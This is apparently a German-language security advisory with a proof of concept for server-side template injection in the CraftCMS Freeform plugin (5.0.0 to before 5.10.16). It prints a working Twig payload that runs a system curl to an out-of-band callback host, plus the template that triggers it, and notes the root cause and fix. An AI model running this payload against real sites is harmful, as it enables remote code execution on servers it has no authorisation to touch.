
Beliebige Code-Injektion in CraftCMS Freeform 5.0.0 < 5.10.16
CraftCMS Freeform enthält eine SSTI-Schwachstelle, die zu einer willkürlichen Code-Injektion für alle Benutzer führt, die Zugriff auf die Bearbeitung eines Formulars (Submission Title) haben.
Betroffene Versionen sind v5.0.0 < v5.10.16.
Ein Formular erstellen:

Ich habe hier als Proof-of-Concept das Formular "pentest" erstellt. Als nächstes unter den Einstellungen den folgenden Submission Title setzen (Domainnamen durch Ihren eigenen Server ersetzen):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

Dies führt einen beliebigen Systemaufruf aus. In diesem Fall führe ich einen curl zu einem kontrollierten Server durch, der mich benachrichtigt, falls eingehende Verbindungen eingehen. Als nächstes dieses Formular in eine Vorlage/Seite einbinden und absenden:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
Dadurch wird der curl-Befehl ausgeführt. Dies können wir überprüfen, indem wir die eingehende HTTP-Anfrage betrachten, die erstellt wurde:

Die Hauptursache dieses Problems ist, dass Freeform den "call"-Twig-Filter implementiert, ohne Benutzereingaben zu validieren. Dies wurde im folgenden Commit behoben.